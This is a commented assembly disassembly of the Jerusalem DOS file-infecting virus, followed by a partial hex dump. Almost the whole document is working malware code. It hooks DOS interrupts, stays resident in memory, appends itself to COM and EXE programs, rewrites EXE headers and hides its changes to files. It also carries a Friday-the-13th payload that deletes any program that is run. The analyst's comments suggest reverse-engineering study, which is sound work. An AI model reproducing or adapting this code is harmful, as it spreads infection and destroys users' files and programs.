;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS ;
;-----------------------------------------------------------------------;
;
ORG 100H ;
;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS ;
;-----------------------------------------------------------------------;
BEGIN_COM: ;COM FILES START HERE
JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
OLD_24 DW 0556H,16A5H ;001B
A_FLAG DW 7E48H ;???
A0021 DB 000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H
A002C DW 0 ;A SEGMENT
DB 000H,000H
A0030 DB 000H
A0031 DW 0178EH ;OLD ES VALUE
A0033 DW 0080H ;
;
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
DW 80H ;COMMAND LINE ADDRESS
DW 178EH ;+4
DW 005CH ;FCB #1 ADDRESS
DW 178EH ;+8
DW 006CH ;FCB #2 ADDRESS
DW 0178EH ;+12
;
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
HOST_IP DW 00C5H ;
HOST_CS DW 347AH ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
;
A004B DW 0F010H ;
A004D DB 82H ;
A004E DB 0 ;
EXE_HDR DB 1CH DUP (?) ;004F
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
HANDLE DW 0005H ;0070
HOST_ATT DW 0020H ;0072
HOST_DATE DW 0021H ;0074
HOST_TIME DW 002DH ;0076
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
A007A DW 0010H
HOST_SIZE DW 27C0H,0001H ;007C
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
COMMAND_COM DB 'COMMAND.COM'
DB 1
A0090 DB 0,0,0,0,0
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE: ;
CLD ;
MOV AH,0E0H ;DO A ???...
INT 21H ;
;
CMP AH,0E0H ;
JNC L01B5 ;
CMP AH,3 ;
JC L01B5 ;
;
MOV AH,0DDH ;
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
ADD SI,DI ;SI = BEGINNING OF HOST CODE
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
INT 21H ;
;
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
ADD AX,10H ;
MOV SS,AX ;SS = TWEEKed CS
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
;
PUSH AX ;JMP FAR CS+10H:IP-100H
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
PUSH AX ;
RETF ;
;
;---------------------------------------;
ORG 0C5h ;
;---------------------------------------;
;
BEGIN_EXE: ;EXE FILES START HERE
CLD ;
PUSH ES ;
;
MOV CS:[A0031],ES ;
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
MOV CS:[EXEC_BLOCK+8],ES ;
MOV CS:[EXEC_BLOCK+12],ES ;
;
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
ADD AX,10H ;
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
ADD CS:[HOST_SS],AX ;
;
MOV AH,0E0H ;
INT 21H ;
;
CMP AH,0E0H ;
JNC L0106 ;00F1 7313
;
CMP AH,3 ;
POP ES ;00F6
MOV SS,CS:[HOST_SS] ;
MOV SP,CS:[HOST_SP] ;
JMP far CS:[HSOT_IP] ;
;
L0106: XOR AX,AX ;0106 33C0
MOV ES,AX ;0108 8EC0
MOV AX,ES:[03FC] ;010A 26A1FC03
MOV CS:[A004B],AX ;010E 2EA34B00
MOV AL,ES:[03FE] ;0112 26A0FE03
MOV CS:[A004D],AL ;0116 2EA24D00
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
POP AX ;0127 58
ADD AX,10H ;0128 051000
MOV ES,AX ;012B 8EC0
PUSH CS ;012D 0E
POP DS ;012E 1F
MOV CX,710H ;SIZE OF VIRUS CODE
SHR CX,1 ;0132 D1E9
XOR SI,SI ;0134 33F6
MOV DI,SI ;0136 8BFE
PUSH ES ;0138 06
MOV AX,0142 ;0139 B84201
PUSH AX ;013C 50
JMP 0000:03FC ;013D EAFC030000
;
MOV AX,CS ;0142 8CC8
MOV SS,AX ;0144 8ED0
MOV SP,700H ;0146 BC0007
XOR AX,AX ;0149 33C0
MOV DS,AX ;014B 8ED8
MOV AX,CS:[A004B] ;014D 2EA14B00
MOV [03FC],AX ;0151 A3FC03
MOV AL,CS:[A004D] ;0154 2EA04D00
MOV [03FE],AL ;0158 A2FE03
MOV BX,SP ;015B 8BDC
MOV CL,04 ;015D B104
SHR BX,CL ;015F D3EB
ADD BX,+10 ;0161 83C310
MOV CS:[A0033],BX ;
;
MOV AH,4AH ;
MOV ES,CS:[A0031] ;
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
;
MOV AX,3521 ;
INT 21H ;GET VECTOR
MOV CS:[OLD_21],BX ;
MOV CS:[OLD_21+2],ES ;
;
PUSH CS ;0181 0E
POP DS ;0182 1F
MOV DX,offset NEW_INT_21 ;0183 BA5B02
MOV AX,2521 ;
INT 21H ;SAVE VECTOR
;
MOV ES,[A0031] ;018B 8E063100
MOV ES,ES:[A002C] ;018F 268E062C00
XOR DI,DI ;0194 33FF
MOV CX,7FFFH ;0196 B9FF7F
XOR AL,AL ;0199 32C0
REPNE SCASB ;019C AE
CMP ES:[DI],AL ;019D 263805
LOOPNZ 019B ;01A0 E0F9
MOV DX,DI ;01A2 8BD7
ADD DX,+03 ;01A4 83C203
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
PUSH ES ;
POP DS ;
PUSH CS ;
POP ES ;
MOV BX,35H ;
;
PUSH DS ;01B1 ;
PUSH ES ;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
;
MOV AH,2AH ;
INT 21H ;GET DATE
;
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
;
CMP CX,1987 ;IF 1987...
JE L01F7 ;...JUMP
CMP AL,5 ;IF NOT FRIDAY...
JNE L01D8 ;...JUMP
CMP DL,0DH ;IF DATE IS NOT THE 13th...
JNE L01D8 ;...JUMP
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
JMP L01F7 ;
;
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
INT 21H ;GET VECTOR
MOV CS:[OLD_08],BX ;
MOV CS:[OLD_08],ES ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV Word ptr [A_FLAG],7E90H ;
;
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
MOV DX,offset NEW_08 ;
INT 21H ;SET VECTOR
;
L01F7: POP DX ;
POP CX ;
POP BX ;
POP AX ;
POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;ASSURE THAT THIS ONLY HAPPENS ONCE
JNZ N08_90 ; BY RESETTING TO 1 IF EQUAL TO ZERO
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
PUSH CX ;
PUSH SI ;
MOV CX,4001H ;
REP LODSB ;
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
MOV DS,AX ;02C9 8ED8
MOV SI,DX ;02CB 8BF2
MOV DI,DX ;02CD 8BFA
MOV BP,ES ;02CF 8CC5
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
OR BX,BX ;02D6 0BDB
JE 02ED ;02D8 7413
MOV CX,8000 ;02DA B90080
REP MOVSW ;02DE A5
ADD AX,1000 ;02DF 050010
ADD BP,1000 ;02E2 81C50010
MOV DS,AX ;02E6 8ED8
MOV ES,BP ;02E8 8EC5
DEC BX ;02EA 4B
JNE 02DA ;02EB 75ED
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
REP MOVSB ;02F3 A4
POP AX ;02F4 58
PUSH AX ;02F5 50
ADD AX,0010 ;02F6 051000
ADD CS:[0029],AX ;02F9 2E01062900
ADD CS:[0025],AX ;02FE 2E01062500
MOV AX,CS:[0021] ;0303 2EA12100
POP DS ;0307 1F
POP ES ;0308 07
MOV SS,CS:[0029] ;0309 2E8E162900
MOV SP,CS:[0027] ;030E 2E8B262700
JMP far CS:[0023] ;0313 2EFF2E2300
;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE... ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A: XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE (ATT=0)
;
MOV AH,41H ;
INT 21H ;DELETE A FILE
;
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;
;
;---------------------------------------;
; START INFECTION ;
;---------------------------------------;
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
JE N21_5A ;...JUMP
;
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
MOV Word ptr CS:[A008F],0 ;
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
MOV word ptr CS:[HOST_NAME+2],DS ;
;
;INFECT PROCESS SEEMS TO OCCUR HERE ;
PUSH AX ;034C 50
PUSH BX ;034D 53
PUSH CX ;034E 51
PUSH DX ;034F 52
PUSH SI ;0350 56
PUSH DI ;0351 57
PUSH DS ;0352 1E
PUSH ES ;0353 06
CLD ;0354 FC
MOV DI,DX ;0355 8BFA
XOR DL,DL ;0357 32D2
CMP Byte ptr [DI+01],3A ;0359 807D013A
JNE L0364 ;035D 7505
MOV DL,[DI] ;035F 8A15
AND DL,1F ;0361 80E21F
;
L0364: MOV AH,36 ;
INT 21H ;GET DISK FREE SPACE
CMP AX,-1 ;0368 3DFFFF
JNE L0370 ;036B 7503
L036D: JMP I_90 ;036D E97702
;
L0370: MUL BX ;0370 F7E3
MUL CX ;0372 F7E1
OR DX,DX ;0374 0BD2
JNE L037D ;0376 7505
CMP AX,710H ;0378 3D1007
JC L036D ;037B 72F0
L037D: MOV DX,word ptr CS:[HOST_NAME]
PUSH DS ;0382 1E
POP ES ;0383 07
XOR AL,AL ;0384 32C0
MOV CX,41 ;0386 B94100
REPNE SCASB ;038A AE
MOV SI,word ptr CS:[HOST_NAME]
L0390: MOV AL,[SI] ;0390 8A04
OR AL,AL ;0392 0AC0
JE L03A4 ;0394 740E
CMP AL,61 ;0396 3C61
JC L03A1 ;0398 7207
CMP AL,7A ;039A 3C7A
JA L03A1 ;039C 7703
SUB Byte ptr [SI],20 ;039E 802C20
L03A1: INC SI ;03A1 46
JMP L0390 ;03A2 EBEC
;
L03A4: MOV CX,000B ;03A4 B90B00
SUB SI,CX ;03A7 2BF1
MOV DI,offset COMMAND_COM ;03A9 BF8400
PUSH CS ;03AC 0E
POP ES ;03AD 07
MOV CX,000B ;03AE B90B00
REPE CMPSB ;03B2 A6
JNE L03B8 ;03B3 7503
JMP I_90 ;03B5 E92F02
;
L03B8: MOV AX,4300H ;
INT 21H ;CHANGE FILE MODE
JC L03C4 ;03BD 7205
;
MOV CS:[HOST_ATT],CX ;03BF ;
L03C4: JC L03EB ;03C4 7225
XOR AL,AL ;03C6 32C0
MOV CS:[A004E],AL ;03C8 2EA24E00
PUSH DS ;03CC 1E
POP ES ;03CD 07
MOV DI,DX ;03CE 8BFA
MOV CX,41 ;03D0 B94100
REPNZ SCASB ;03D4 AE
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
JE L03E6 ;03D9 740B
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
JE L03E6 ;03DF 7405
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
;
L03E6: MOV AX,3D00H ;
INT 21H ;OPEN FILE READ ONLY
L03EB: JC L0447 ;
MOV CS:[HANDLE],AX ;03ED ;
;
MOV BX,AX ;MOVE TO END OF FILE -5
MOV AX,4202 ;
MOV CX,-1 ;FFFFFFFB
MOV DX,-5 ;
INT 21H ;MOVE FILE POINTER
JC L03EB ;
;
ADD AX,5 ;0400 ;
MOV CS:[A0011],AX ;?SAVE HOST SIZE
;
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
MOV DX,offset A006B ;
MOV AX,CS ;
MOV DS,AX ;
MOV ES,AX ;
MOV AH,3FH ;
INT 21H ;READ FROM A FILE
;
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
MOV SI,offset MS_DOS ;
REPE CMPSB ;
JNE L0427 ;
MOV AH,3E ;IF == 'MsDos'...
INT 21H ;CLOSE FILE
JMP I_90 ;...PASS CONTROL TO DOS
;
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
INT 21H ;GET VECTOR
MOV [OLD_24],BX ;
MOV [OLD_24+2],ES ;
;
MOV DX,offset NEW_24 ;
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
INT 21H ;SET VECTOR
;
LDS DX,dword ptr [HOST_NAME];
XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
L0447: JC L0484 ;
;
MOV BX,CS:[HANDLE] ;
MOV AH,3E ;
INT 21H ;CLOSE FILE
;
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
;
MOV AX,3D02 ;
INT 21H ;OPEN FILE R/W
JC L0484 ;
;
MOV CS:[HANDLE],AX ;0460 2EA37000
MOV AX,CS ;0464 8CC8
MOV DS,AX ;0466 8ED8
MOV ES,AX ;0468 8EC0
MOV BX,[HANDLE] ;046A 8B1E7000
MOV AX,5700 ;046E B80057
INT 21H ;GET/SET FILE DATE TIME
;
MOV [HOST_DATE],DX ;0473 89167400
MOV [HOST_TIME],CX ;0477 890E7600
MOV AX,4200 ;047B B80042
XOR CX,CX ;047E 33C9
MOV DX,CX ;0480 8BD1
INT 21H ;MOVE FILE POINTER
L0484: JC L04C3 ;0484 723D
;
CMP Byte ptr [A004E],00 ;0486 803E4E0000
JE L0490 ;048B 7403
JMP L04E6 ;048D EB57
;
NOP ;048F 90
L0490: MOV BX,1000 ;0490 BB0010
MOV AH,48 ;0493 B448
INT 21H ;ALLOCATE MEMORY
JNC L04A4 ;0497 730B
;
MOV AH,3E ;0499 B43E
MOV BX,[HANDLE] ;049B 8B1E7000
INT 21H ;CLOSE FILE
JMP I_90 ;04A1 E94301
;
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
MOV ES,AX ;04A8 8EC0
XOR SI,SI ;04AA 33F6
MOV DI,SI ;04AC 8BFE
MOV CX,710H ;04AE B91007
REP MOVSB ;04B2 A4
MOV DX,DI ;04B3 8BD7
MOV CX,[A0011] ;?GET HOST SIZE
MOV BX,[70H] ;04B9 8B1E7000
PUSH ES ;04BD 06
POP DS ;04BE 1F
MOV AH,3FH ;04BF B43F
INT 21H ;READ FROM A FILE
L04C3: JC L04E1 ;04C3 721C
;
ADD DI,CX ;04C5 03F9
;
XOR CX,CX ;POINT TO BEGINNING OF FILE
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
;
MOV SI,offset MS_DOS ;04D0 BE0500
MOV CX,5 ;04D3 B90500
REP CS:MOVSB ;04D7 2EA4
MOV CX,DI ;04D9 8BCF
XOR DX,DX ;04DB 33D2
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L04E1: JC L04F0 ;
JMP L05A2 ;
;
;---------------------------------------;
; READ EXE HEADER ;
;---------------------------------------;
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
MOV DX,offset EXE_HDR ;
MOV AH,3F ;
INT 21H ;READ FILE
JC L053C ;
;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT ;
;---------------------------------------;
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
MOV AX,[EXE_HDR+14] ; SS
MOV [HOST_SS],AX ;
MOV AX,[EXE_HDR+16] ; SP
MOV [HOST_SP],AX ;
MOV AX,[EXE_HDR+20] ; IP
MOV [HOST_IP],AX ;
MOV AX,[EXE_HDR+22] ; CS
MOV [HOST_CS],AX ;
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
JZ L051B ;IF FILE SIZE==0...JMP
DEC AX ;
L051B: MUL Word ptr [BLOCK_SIZE] ;
ADD AX,[EXE_HDR+2] ;
ADC DX,0 ;AX NOW = FILE SIZE
;
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
ADC DX,0 ;
AND AX,0FFF0H ;
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
MOV [HOST_SIZE+2],DX ;
;
ADD AX,710H ;(SIZE OF VIRUS)
ADC DX,0 ;
L053C: JC L0578 ;IF > FFFFFFFF...JMP
DIV Word ptr [BLOCK_SIZE] ;
OR DX,DX ;
JE L0547 ;
INC AX ;
L0547: MOV [EXE_HDR+4],AX ;
MOV [EXE_HDR+2],DX ;
;---------------;
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
MOV DX,[HOST_SIZE+2] ;
DIV Word ptr [A007A] ;
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
MOV [EXE_HDR+22],AX ;VALUE OF CS
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
MOV [EXE_HDR+14],AX ;VALUE OF SS
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
;---------------;
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
L0578: JC L0584 ;
;
;---------------------------------------;
; WRITE INFECTED EXE HEADER ;
;---------------------------------------;
MOV CX,1CH ;
MOV DX,offset EXE_HDR ;
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L0584: JC L0597 ;
CMP AX,CX ;
JNE L05A2 ;
;
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
MOV CX,[HOST_SIZE+2] ;
MOV AX,4200 ;
INT 21H ;MOVE FILE POINTER
L0597: JC L05A2 ;
;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
XOR DX,DX ;
MOV CX,710H ;(SIZE OF VIRUS)
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
;
L05A2: CMP Word ptr CS:[008F],0 ;IF...
JZ L05AE ;...SKIP
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
JE I_90 ;...SKIP
;
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
MOV DX,CS:[HOST_DATE] ;
MOV CX,CS:[HOST_TIME] ;
MOV AX,5701H ;
INT 21H ;GET/SET FILE DATE/TIME
;
MOV AH,3EH ;
INT 21H ;CLOSE FILE
;
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
MOV CX,CS:[HOST_ATT] ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
;
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
MOV AX,2524H ;
INT 21H ;SET VECTOR
;
I_90: POP ES ;
POP DS ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
;0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00 i..sUMsDos......
;0110 00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48 ...%~.p`.N.V.%.H
;0120 7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ~...............
;0130 00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C ...........\...l
;0140 00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D .....z4E.z4.p..M
;0150 5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10 ZP...1. .....\..
;0160 07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3 ...E.\. ...CCCCC
;0170 05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00 .. .!.-.....@'..
;0180 D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01 YA(.COMMAND.COM.
;0190 00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80 .....|4`M!.|`s..
;01A0 FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B |.r.4]?..>...w..
;01B0 8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50 ...M!.H....P<..P
;01C0 B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39 8E.PK|....1....9
;01D0 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00 ....=....A..@...
;01E0 2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC ...I....E.4`M!.|
;01F0 E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43 `s..|.....E...&C
;0200 00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3 ....G.3@.@&!|..#
;0210 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3 K.& ~.."M.&G.|.s
;0220 A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9 %&F.~.KX....@..9
;0230 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03 ..Qi3v.~.8B.Pj|.
;0240 00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B ...H.P<..3@.X.!K
;0250 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3 .#|.. M."~..\1.S
;0260 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00 k.C....3.4J...1.
;0270 CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19 M!8!5M!.........
;0280 00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26 ...:[.8!%M!..1.&
;0290 8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05 ..,.3.9..2@r.&8.
;02A0 E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35 `y.W.B.8.K....;5
;02B0 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR4*M!.F...
;02C0 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08 ..yC.t0<.u..z.u.
;02D0 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E .~...k .8.5M!...
;02E0 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 .........G....~8
;02F0 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%:..M!ZY[X.....
;0300 1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA .....4IM!4MM!41:
;0310 00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83 ..1.Sj.B.M!2@O..
;0320 3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87 >...u.PSQRU8..7.
;0330 B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E 9..:..M.]ZY[X...
;0340 1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01 ..u..G.....PQV9.
;0350 40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75 @s,^YX.......|`u
;0360 05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28 .8...O.|]t..|^t(
;0370 3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58 =.Ku.i4.......XX
;0380 B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E 8...#..X.#..s$..
;0390 A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0 !........D...H.P
;03A0 BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21 <....3...9...s?!
;03B0 00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B .s$.X.@.w&z....+
;03C0 00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C ..R..w6z..X.r.z.
;03D0 C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05 E.../..[t.9..s%.
;03E0 00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E ...E...X.EKum...
;03F0 2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01 -.s$XP......)...
;0400 06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B .%..!!......)...
;0410 26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4 &'....#.3I8.CM!4
;0420 41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E AM!8.K........>.
;0430 00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00 ..td.G.p....G...
;0440 00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52 ............PSQR
;0450 56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A VW..|.z2R.}.:u..
;0460 15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02 ..b.46M!=..u.iw.
;0470 F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16 wcwa.Ru.=..rp...
;0480 80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00 ....2@9A.r...6..
;0490 8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C ...@t.<ar.<zw..,
;04A0 20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B Fkl9..+q?....9.
